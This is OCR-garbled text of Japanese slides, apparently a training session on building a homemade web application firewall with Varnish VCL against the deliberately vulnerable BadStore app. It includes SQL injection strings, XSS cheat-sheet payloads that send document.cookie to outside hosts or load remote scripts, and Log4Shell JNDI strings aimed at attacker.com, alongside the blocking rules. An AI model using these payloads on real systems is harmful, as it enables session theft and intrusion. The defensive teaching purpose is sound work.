Ordars Password:
About s
by Account

Login / Register

— Suppliers Only

Supplier Login
Supplier Contract

BadStore v1.2 35 - Copyright © 20042003

m
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6. Blind SQL Injection in Supplier Login

mEmail Address: 'or 1=1 or '

/E Supplier Portal Login - E
« C @ 10.61.0.40/cqgi-bin/badstore.cgi?action=supplierlogin Qs A

Welcome Supplier - Pl

tbook@EmMail Address: ' or 1=1 or |

Password: "
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Bypass credit
card number
validation



/. Bypass credit card number validation

I BadStore.net - Place Or

C | © 10.12.0.87/cgi-bin/badstore.cgi?action=submitpayment woE N

. Thanks for ordering from BadStore.net!

What's MNew

Welcome, joe@supplier.com
Sign Qur Guesthook e

m

View Previous Credit Card Number: [123456789012 Expiration Date: 1212
Jrders
About Us BadStore net Accepts the following Payment Methods
_,ﬂ,'ccount I re 10.12.0.87 says. Mmrs—=- g
s (e
Login / Register E— Only valid numbers are allowed - and no spaces or
dashes!
— Suppliers Only
Supplier Login

Supplier Contract
Supplier BadStore v1 2 3s - Copvrisht © 2004-2003 i
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/. Bypass credit card number validation

mImportant business logic must be implemented In
Server Side (not JavaScript)

= = g -
ZE BadStore.net - Place Orc EE 10.12.0.87/cardvrfy.js  x A\
C' | @ 10.12.0.87/cardvrfy.js wl ok N

/% Cardvrfy. js - Part of BadStore.net %/

Eunction DoCardvrfy (x)

var card=(x["ccard”]. value
var cexp=(x[“expdate”]. val
var validcard= /([0-9] {13,
var validexpr= /([0-9
var mastercard= /(5[0-
var visacard= /(4[0-9

0-9

/(6

11
9
11
var amexcard= /(3[0-9]{ U
var discovercard= /(601 ]{12})/;
// Check for input
if ((card == ") || (cexp == "))
alert (“You haven' t entered enough information!”):
return false;

.IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII.

// Ensure only numbers

if (lvalidcard. exec(card)) {
alert("Only valid numbers are allowed - and no spaces or dashes!”):
return false;
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WAF (Web Application Firewall) &I(&7?

CCICWAFEA A R—I))!
Web%—/(ONRICEWTBTLT
Web7? FUsr—avBAd ETT
WAFTRIL TE R, b7V /3/’5" MEEREE
Ed 04

V e <
Web? TU0i 1 Z R RUR R

* DOSKBBDAREPILAKE @ "
WAF

y
'Webs 254 |
| Webt—/< l//
Rk D —omEF U SR @ | 0s
IDS/IPS /
*YhD—=2 | )
TRAT | 4
ox—JU

https://jpn.nec.com/infocage/siteshell/waf.html KD X=5IH 20


https://jpn.nec.com/infocage/siteshell/waf.html

RNEECERIBZRY FD—JRIT

1 1 1

K2 ~1P:9999 2 ~1P:8888 A2 IP:2222
5 FZIP:80 4——) 5 Z|~IP:8888 5 Z ~1P:22 ’
Badstore varnishd sshd

________________________________________________________________________________________________
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R 2: varnishd DEXE (8888F CieEf)

1. LIFTOOV Y REET
sudo -1
vi /etc/varnish/default.vcl

2. default.vcl DNBZMHERL :wq TR

vcl 4.1;

backend default {
.host "127.0.0.1"; . FZKROSHIP7REL X
.port "80";

}
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SHE3: varnishd Oi2E & X ~

1. LIFOOVY Y REZET

service varnishd restart

2, abAV YR TCARYFVY—DEHAE

ab -n 100 http://localhost:80/images/storel.jpg

ab -n 100 http://localhost:8888/images/storel. jpg

ERGE  JEFOYO-FEEDEVDIREITSINEZXITHELS
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HE4: http://localhost:8888/ (CF7HEXT S

asWAFd& D

mhttp://localhost:8888/ \==we s
svarnishdiEAT7 I Eoiuer :

Quick Item Search ‘elcome {Unregistered User} - Cart contains 0 items at $0.00
I 0=

Home

=7
:;‘View Cart

Welcome to BadStore.net!

What's Mew

s\ WAF7L L S

Wiew Previous
Drders

mhttp://localhost:9999/ |-
sZDapache2(c 71X

m

Login / Register

— Suppliers Only

Supplier L ogin

Supplier Contract
Supplier

Procedurss

— Reference —
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http://localhost:8888/
http://localhost:9999/

REb: /supplier/ DIgEREALE

< C @ Q. 192.168.11.6/supplier/ Y IN @O &

Index of /supplier

Mame Last modified size [Description
ﬁ Parent [irectory 21-Jun-2019 18:40
] accounts o 29-Now-2004 200:51 Tk

Apache/1.3.28 Server at 192.168.1.56 Port 80
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MBS /supplier/ DIEERRREGLE

1. default.vclZEA FDKDICEIET S

vcl 4.1;
backend default {
.host "127.0.0.1";
.port "80";
}
sub vcl _recv {
if (req.url ~ "~[/¥.]*/supplier/") {
return (synth(400, "DO NOT SHOW /supplier/"));
}
}

2. varnishdt—E X OB icH)

service varnishd restart
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HE6: BRARERODSQL injection@)&# (GET)

« = C (D w0 localhost:8888/cgi-bin/badstore.cgi?action=loginregister

BADSTORE.NET

Quick Item Search

IWEl[.‘-ﬂmE {Unregistered User} - Cart contains 0 items at 30.00

PR = Cart

S Login to Your Account or Register for a New Account
What's New

Login to Your Account

Sign Our ) .
Guestbook Email Address:

) _ Password:
View Previous
Orders Login
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HE6: BRARERODSQL injection@)&# (GET)

1. default.vcl®vd|l recvBEEIZ=E LT ICIEL

sub vcl _recv {
if (req.url ~ "~[/¥.]*/supplier/") {
return (synth(400, "DO NOT SHOW /supplier/"));

}

if (req.url ~ "action=search" && req.url ~ "%27") {
return (synth(400, "SQLi"));

}

if (req.url ~ "%27") {
return (synth(400, req.url)); // for DEBUG info
}

}

0. varnishdb—E XD EHiS

service varnishd restart

o
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EE7: emailfDSQL injection@)&# (POST)

« = C (D w0 localhost:8888/cgi-bin/badstore.cgi?action=loginregister

BADSTORE.NET

Quick Item Search

. -

IWEl[.‘-ﬂmE {Unregistered User} - Cart contains 0 items at 30.00

Ca

put

Login to Your Account or Register for a New Account

Home
What's New )
Login to Your Account

- I Address: £ T
GUESthDk Emall Address.-llllllllllllllll.

) _ Password:
View Previous
Orders Login
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EE7: emailfDSQL injection@)&# (POST)

1. default.vcllCA T &SRR (POSTHEREHR)

import std;
import parseform;

sub vcl _recv {
std.cache_req_body(1MB);

if (parseform.get("email”) ~ "'") {
return (synth(400, "SQLi"));

}
}

0. varnishdb—E XD EHiS

service varnishd restart

@E
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B8 XSSEWAFTCEE<(CIE? (POST)

m 1. Cross-Site Scripting (XSS) in Guestbook

: | B e
[ mmym _ i \
EE BadStore.net - Sign our \
- C' (© 192.168.80.128/cgi-bin/badstore.cgi?action=guestbook w oS X

-ﬂ‘u”iew Cart

Sign our Guestbook!

What's MNew

EEEEEEEEEEEER
iSiEn Dur Guesthool
EEEEEEEEEEER

Yiew Previous

m

Please complete this form to sign our Guestbook. The email field is not required, but
yelps us contact you to respond to your feedback. Thanks!

Orders
Your Name: takesako
About Ls
Email: takesako@labs cybozu cojp
Wiy Account N

Comments: x557|
Login / Register

— Suppliers Only

Add Entry | [Utzot |
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B8 XSSEWAFTCEE<(CIE? (POST)

1. default.vclICEA T & Edah (POSTHRE

import std;
import parseform;

sub vcl recv {
std.cache_req_body(1MB);

if (parseform.get("email") ~ "<|>") {
return (synth(400, "XSS"));

}

if (parseform.get("name") ~ "[<>]") {
return (synth(400, "XSS"));

}

if (parseform.get("comments") ~ "[<>]") {
return (synth(400, "XSS"));

}
}

I
g_\

2. varnishd—E XDE

service varnishd restart
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=7 . OWASP ModSecurity Core Rule Set

mhttps://github.com/coreruleset/coreruleset/
msREQUEST-941-APPLICATION-ATTACK-XSS.conf

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx
(Pir<style*?>.*2(2:@[i¥x5c]|(7:[:=]|&#x?0*(?:58|3A[61|3D); 7). *2(?: [(¥x5c]|&#x?0%(?:40[28|92|5C); ?)))" ¥

SecRule REQUEST_COOKIES|!'REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@rx
¥+ADW-.*(7:¥+AD4-|>)|<.*¥+AD4-" ¥

OWARSP

ModSecurity
Core Rule Set

v THE 1" LINE OF DEFENSE

https://coreruleset.orqg/
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https://github.com/coreruleset/coreruleset/
https://coreruleset.org/
https://coreruleset.org/

RENEY XSS (reflected XSS) >WAFTB5(FS

¥ &< RIS N

WAFTCBh(FS !
Iﬂ%%
OWEBEDISOY QUIF=EE DD F & FHES
J:'CJavaScrlptb\ﬁ_Eb
WERAXD) T~

WENRY —/\—(C B
(/35 A= & L TJavaScripte L)

WENRY 1

@JavaScriptZ 81
R—I &L,
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15 BY XSS (stored XSS. persistent XSS) (&

) {

OIBTIREE(CERELT
WE M JavaScript & {1 AL

WEE
WENRY 1 ~
OWEENTSHY s
J: t\\J [ SC r I pt b\{E@J/ & z'z:(:[::;]:z; 1:19:46“'6 1168 e
- OWEFENRY 1 HERE . WEAZ ) F -
BRiR D CHERMN(C
WAF GREIFAE LY
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=22 | XSSWEBARDT S —D{ER, (xssor.io)

- f XSS'OR - Hack with JavaScript X e
&« c ‘@' @ & https://xssorio/#codz - T:f ¥ IiN O @

>_XSS'OR

]
]

C
=
[

]
-u)
m
m

I
m
C

POST |~|| http/foo/submit.php key1=value1&key2=valua2 coDz DESC AUTHOR UPDATE
CSRF Language |v| cREaTE vour csRF | Content-Type ~| CREATE YOUR AJAX » A XSS fuzzing misc. evilcos 2017/
EEEEEEESN
Browser's XSS Filter Bypass Cheat Sheet.  Masato 2017/
EEEEEEEN
Classical XSS Filter Evasion Cheat Sheet. RSnake 2017/02
EEEEEEEN
More than HTMLS Security Cheatsheet. .mario 2017/01
EEEEEEESN
cobz DESC AUTHOR UPDATE
Browser Exploitation Framework Project. ~ BeEF 2017/
Chrome installed extensions/plugins. eviimo 2017/01
IAMANEWBOTNAMEDCORSBOT. evilcos 2017/01
A small but classical XSS probe. evilcos 2014/01
A tiny tool for Flash hacking. evilcos 2013/03
JavaScript AttackAP! from GNUCITIZEM. pdp 2007/01

@evilcos.me
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22 | https://xssor.io/s/payload/xssmisc.txt

gu
" 1--"<XSS>=&{()}

"';1--"<script>alert(0);</script>=&{()}
"';1--"<script>alert(0);</script>=&{(alert(1))}
“><scriptralert(0)</script>
<script>a=eval;b=alert;a(b(/i/.source));</script>

<code onmouseover=a=eval;b=alert;a(b(/g/.source));>HI</code>

<script src=http://xssor.io/xss.js></SCRIPT>
<script>location.href="http://127.0.0.1:8088/cookie.php?cookie="+escape(document.cookie
);</script>

><img onerror=alert(@) src=><
<img src=http://127.0.0.1/myspace.asp>

<img src=&#04jav&#13;ascr&#09;ipt:al&#13;ert(0)>

<img
src=&#04jav&#13;ascr&#09;ipt:i="x=document.createElement('script’');x.src="http://xssor.
io/xn.js';x.defer=true;document.getElementsByTagName( 'head')[0@].appendChild(x)";execScr
ipt(i)>

<img
src=&#04jav&#13;ascr&#09;ipt:i="x=docu&#13;ment.createElement (' ¥u0053¥u0043¥u0052¥U0049
¥u0050¥u0e54');x.src="http://xssor.io/xn.js';x.defer=true;doc&#13;ument.getElementsByTa
gName('head')[0].appendChild(x)";execScri&#13;pt(i)>

new Image().src="http://xssor.io/phishing/cookie.asp?cookie="+escape(document.cookie);
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XSS Filter Evasion Cheat Sheet

Home

About OWASP
Acknowledgements
Advertising

Books

Brand Resources
Careers

Chapters

Donate to OWASP
Downloads
Events

Funding
Governance

Cheat Sheets

Last revision (mm/ddfyy): 02/23/2019

Initiatives

Mailing Lists Introduction
Membership
Merchandise [hide]

Presentations ]
1 Introduction
Press

Projects 2 Tests
Supporting Pariners 2.1 Basic X55 Test Without Filter Evasion

Video 2.2 ¥55 Locator (Polygot)
Reference 2.3 Image XS5 using the JavaScript directive
Activities 2.4 Mo guotes and no semicolon

Attacks 2.5 Case insensitive X35 attack vector
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272 | HTML5 Security Cheatsheet

- HTMLS Security Cheatsheet % eg

c @ (@ html5sec.org o @ 1Y

Secgrituw,(o ngﬂgatsheet

browser does when Yo

formactioniZEH TOXSS - 1—HONMENBE

HTML5Mform & formactionigE#® - TEFEOformERIN S E-MESFE
<form id="test™></form><button form="test” formaction="javascript talert (117>¥</huttaon>

"form" & "formaction"BEESTUERT I HICAANZERW. HIVETHSoEEEENECTET
BT & "d"EE i formBFTR { submitRY T DL TEMET BT &

w ®m Firefox 4.0 O = Opera 10.5 %" = Chrome 10.0 o = Safari 4.0.4
m Firefox Latest m Opera Latest m Chrome Latest m Safari Latest
) ® Internet Explorer 10
"7 m Internet Explorer Latest (Inside Form Element)
xs55 html5 opera chrome firefox formaction javascript button

o http:/fwww.whatwa.org /specs/web-apps/current-work/multipage /association-of-controls-and-
forms.html#attr-fs-formaction

autofocuslc & Sfocus1~>» FEAALEECEG Eij

autofocus EBHEIED input ERFRE 2 TEEMfocus1 <2 )\ FSEFUETER. 1—HonEZ
=

<input onfocus=swrite(l) autofocus:

¥ INn O @
G o pioedaaill

Search g,_) I
P

Impressum Datenschutz

~
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2% | Apache Log4jle5sEE WAFD IEFRFKRIR T

Logdj CREREIC 74 - 7-WAF o [al:8¢/#E5w1L & 13T g Y — v
——" @tfw_egglessness
https://www.scutum.jp/information/waf _tech blog/2021/12/waf -blog-081.html cogiessnes

| know that using regex is dumb and shit, but it's
Just first-line defense. This one | made is capable to
detect obfuscated payloads and should produce
very few false positives:

\S{O\S((F2: <25 2) (') @D Gindli:dap|rm)] ([ )*1)
. B (9,10)

) _Apolekleb

mimmwﬂi 2 L 1ms : : #hjg%j#LOg4ShEH

";Hot A Brand

REGULAR EXPRESSIOMN o 14 Enanchc (4960 sega, 1 5]

WELOEI T awrzaw -0 " B0 b [imcdd: (Ldap [ emp D6 ") dxt= {9, 18} Emi

ww, bitf
deflate

TEST 5TRENG

S{jndi:ldap: ffattacker.com/a}l
S{js{upper:5{lower:n}idi:ldapi//attacker.confa}

sis{date; 'j" }s{date: 'n" }i{date: 'd" b{date: '1° i Ldap: / fattacker. . confal
S{&{enviBARFOD: -FINdiS{anyv: BARFOOz -1} 5 (anv i BARFOO: -
:L]daps{e1v:BhHFOD:—:}f;actacker.cnnfs}

iS5 i 51 mrs s dis it 5l s—rksl: i mpS{se-11i/f127.0.8,1:1389/ass]
Salti= hndtirmaE S /127 8.8, 1: 1380 fass]

{jrdizrmizffa.b.c}

{&{lowerijndi} S lowersrmils ffo.w.efpoc)
{S{lowar;s{lower:jndil):5(Lower:rwi}:/ffa.s.d/poc)

{S{te=g 5 i-n}s{: i =d}S s =) G2 =P} s t-m}S {2 =30}/
{S{ri=jIndizrmiz/J}

{5 Lower tgndi} 158 lowersrmils s ft

S lower: S lower i indit} i {Lowersrmil s/

{4{ Lower 5 {upperin}s{lower 1d} ${upper:1}: ${ lower:r tm5s{ lowerz1}:}

L O U T T N U R T R T

FE2:58 - 20214128128 ®
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22 : BadStorelCE89 B IEIR

mBadStore.net&{F > ICHes5IERE
m http://kyontal1022.hatenablog.com/entry/2018/09/09/221327

DBTR#RINSE

DEEERMEE IS —ZEENE CTHD,

ERSNETS—h'S, DBMSIEMySQLYE &#I8,

DBD: :mysgl::st execute failed: You have an error in your SQL syntax; check the manual the

£ >

RICMySQLO)(—=3 > FHEBL THD.

a' = 'a' UNION SELECT VERSION(),2,3,4 #

1012 |[Endless Cup |[Perfect for late nights 23.98
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2% | Y —XCGIh 5query->paramZ 1R5a

# grep "query->param" badstore.cgi~ | sort | unigq
$filename = $query->param(‘'uploaded file');
$newfilename = $query->param(’'newfilename’);
@contents=$query->param(’'cartitem');

$aquery=$query->param( 'DoMods');
$aquery=$query->param('admin’);
$ccard=$query->param(‘'ccard');
$comments=$query->param( ' comments’);
$email=$query->param(‘'email’);
$expdate=$query->param('expdate’);
$fullname=$query->param(‘'fullname’);
$name=%$query->param( 'name’);
$newemail=$query->param( 'newemail’);
$passwd=$query->param('passwd’);
$pwdhint=$query->param('pwdhint’');
$role=$query->param('role’);
$squery=%$query->param( 'searchquery’');
$vnewpasswd=$query->param('vnewpasswd');
$action=$query->param(‘'action’);
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A

SQLr I OTavniER (%27)

vcl 4.1;

backend default {
.host = "10.0.2.4";
.port = "80";

}

import std;
import parseform;

sub vcl _recv {

std.cache_req_body(1MB);

if (req.url ~ "%27" || parseform.get("email")
return (synth(400, "Detected SQL Injection"));

}
}

~ "¥x27") {
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import std;
import parseform;

sub vcl recv {
std.cache_req_body(1MB);

if (parseform.get("ccard") I~ "~(?2:4[0-9]{12}(?:[0O-
91{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-
9])[0-9]1{11}|3[47][0-9]{13}|(?:2131|1800|35[0-9]{3})[0-
9]{11})%$"){

return (synth(400, "Credit Card Number Error"));

}
}
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e AAESERL (Varnish Module)

mhttps://www.slideshare.net/xcir/varnish-module

nVarnish&EESRICEX THSTV\WTIAILEDE
mhttp://blog.xcir.net/?p=1088

mVarnish(CBAU TWASWVWARHEAXRTEH U THIC

m https://qiita.com/TsuyoshiUshio@github/items/e3902d33e386/7/368e695
mVCL - Varnish Configuration Language

m https://varnish-cache.org/docs/trunk/reference/vcl.html
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[ZD{E] A IPA AppGoat

-

| ioa BRRILBERE : BBS5 1

C | © www.ipa.go.jp/security/vuln/appgoat/

I p MRITATEGE A SRR R ARELIRR
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ZDAth] Z#4 Web Security Dojo

{7 Dojo - Maven Security C &

C | © www.mavensecurity.com/web_security_dojo/

~maven (noun):
a trusted expert who seeks to pass

Y001 101007 <nowledg rs
J‘cu\onlo&qr SECURITY CONSULTING knowledge on to others

Web Security Dojo

A free open-source self-contained training environment for Web
Application Security penetration testing. Tools + Targets = Dojo

What?
Various web application securitv testing tools and vulnerable web applications were added to a clean
inztall of Ubuntu vio.o04.2, which iz patched with the appropriate updatez and VM additions for eazy

use.

Why?
The Web Securitv Dojo is for learning and practicing web app securitv testing techniques. It is ideal for
zelf-teaching and skill aszezzment, az well as training clazzez and conferences zince it doez not need a
netweork connection. The Dojo containz everything needed to get started — tools, targets, and

decumentation.
Where?

Download Web Security Dojo from
http://sourceforge.net/projects/websecuritydojo/files/ .

Home & Consulting Services | Web Assessment = Training | News & Events | Resources

About Us | ContactUs :

Quick Links

I need a web application zecurity a sment

Web Security Dojo: free training environment
I need a bid or proposal

I would like training or a speaker for an event

News & Events

OWASP Raleigh - DNSSEC - Aug 2011

Web Security Dojo 1.2 Releazed

ISACA NACACS - Las Vegas - May 2011
OWASP Raleigh - Declaritive Web Security
ISACA EuroCACS - Manchester - March 2011

Archived webcast - eSvmposium Feb. 2011

Spotlight
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[ZD1it]] OWASP WebGoat Project

&) Category: OWASP WebG

C' | 8 https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project Qv & A

£) OWASP

The Open Web Application Security Project

& Log in / create account

m

Category  Dizcusszion Read Wiew zource  View hiztory

Mavigation

Home Category:OWASP WebGoat Project

Mews
CWASP Projects OWASP Thiz project has produced a book that can be downloaded or purchaszed. &
[ loads \ Books Feel free to browse the full catalog of available OWASP books. &

Local Chapters
WebGoat iz a deliberately ihzecure J2EE web application maintained by OWA=F &

desighed to teach web application security leszons. In each leszon, users must

Global Committees

fippisec Job Board ) ) o L e
dermonstrate their understanding of a security izsue by exploiting a real vulnerability in

fipphec Conferences o )

Cheat Shest the WebGoat application. For example, in one of the lessons the user must use 0L

23 [=1=h 8= R W W T T [t e
. injection to steal fake credit card numberz. The application iz a realistic teaching
OWASE Training ) o ) ] )
) environment, providing users with hints and code to further explain the lesson.

Prezentationz

Widen Why the name " WebGoat™ ? Developers should not feel bad about not knowing

Freszs gecurity. Even the best prograrmimers make security errors. What they need iz a

Gt OWASE Books scapegoat, right? Just blame i on the Gozd =

Get OWASE Gear To get started, read the WebGoat User and Install Guide

Mailing Lizts

About OWASP Goals

Memberzhip » e e
Wi'eb application security iz difficult to learn and practice. Mot many people have full Dre talled solufion hints =

= blowrn weh applications like anline book stares or online banks that can be used to

erence
szcan for wulherabilities. In addition, security professionals frequently need to test - o]e]
| = — = i T r




[Z84] OWASP WebGoat Project

BmCross-site Scripting (XSS) mBlind SQL Injection
BAccess Control BNumeric SQL Injection
B Thread Safety mString SQL Injection
mHidden Form Field m\Web Services

Manipulation
MParameter Manipulation
m\Weak Session Cookies

mFail Open Authentication
mDangers of HTML Comments
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Burp Suite (HTTP Proxy)

-
(:3) burp suite v1.3

burp intruder repeater window help

(“target | proxy | spider | scanner [“intruder | repeater |  sequencer | decoder | comparer | options | alerts |

intercept [ options | history |

request to hitp2www tricorder jp-80 [211.13.204.47]

forward drop | interceptis on

raw | params | headers | hex |

POST /scripts/postmail.cgi HTTP/L.1

Host: www.tricorder.jp

User-Agent: Mozilla/5.0 (VWindows; U:; Windows NT €.1; ja: rv:1.9.1.7) Gecko/Z00S1ZZ1
Firefox/3.5.7 GTBE

Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: Jja,en-us;qgq=0.7,en;qg=0.3

Accept-Encoding: gzip,deflate

Accepr-Charset: Shifc JIS,utf-B;¢=0.7,";¢q=0.7

Feep-Alive: 300

Proxy=Connection: keesp-alive

Content=Type: application/x-www-form-urlencoded

Content-Length: Z855

need=name+emalill ématch=emall+emalill ésubject=%Ec%83585%ESSA0SELSEZ5825BEBSE3582%A
035 AA%E3S B35 0ESE3S 8% A3%EC% 055095 EBS B2 B2%E3S 8 15 AESESSO5%8F%E3%E15845E5%50%88
81l%8Biname=&Lcorp=4&tel=Lemall=&temaili=chomepage=httpi3A%Z2F%2F dcomment=4ésubmit=%
D%El%EQ%EF%Al%EEEED%EQ

D

$E3
E3%
3%8

5
E

-

L+l <]l>] | 0matches

BT BOTTEB3Web7 FUT —3 3 VHEEEMEZE - 05 =2010 tH= 102
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Burp Suite (Vulnerability scanner)

BADSTORENET

Search

==

k ltem

IW&Imrm {Unregistered User} - Cart contains 0 tems at $0.00

" B
Home | € burp suite v1.3 lel@| =
burp intruder repeater window healp
What'g target | proxy spider er | intruder repeater sequeancer decoder | comparer options | alerts
) target | positions | payloads | options |
Sign Oflf - : - -
Guest attack type |sniper | © intruder atack 1 =@ = |
"l..l"iE"u'.' = . attack sSawe wiew
Orderd zﬁT;;gpl-:ég:;f;?reW"“m":ﬁ‘”ﬂ'"ﬁ request [ position | payload | stalus | emor imeo.| length |
Orderg ost | i a 1 1 200 oo 4205
Scovnt i sppicstonstamtcmiappil I PO -
abttml, applic / +¥mlapp 3 LR 00 | | 4207
M Accept-Language: ja.en-us;q=0.7 en;g=03 | al ';ZIIZI e B = B :;:ﬁ,' |
Accept-Encoding: gzip.defiate : : : —
le -"‘%Cs Accept-Charset Shift_JIS ulf-8:9=0.7,*,g=0.3
Keep-Alive: 300
) Prony-Connection: keep-alive
Login # Content-Type: applicationte-waw-form-urien
Content-Length; 26
= Supj| email=§§8passwi-§§8Login=5Loging
Supplig
Supplig
Supplig finished |
Procedl 4 positons length: 508 '
saﬂsmrj : =

BT BT TCE3Web7? FUT —3 3 VRSIMZHK - 7 JHY=2010 I B= 103
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